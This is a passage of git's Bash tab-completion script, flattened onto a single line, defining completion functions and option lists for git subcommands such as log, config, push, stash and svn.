ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac 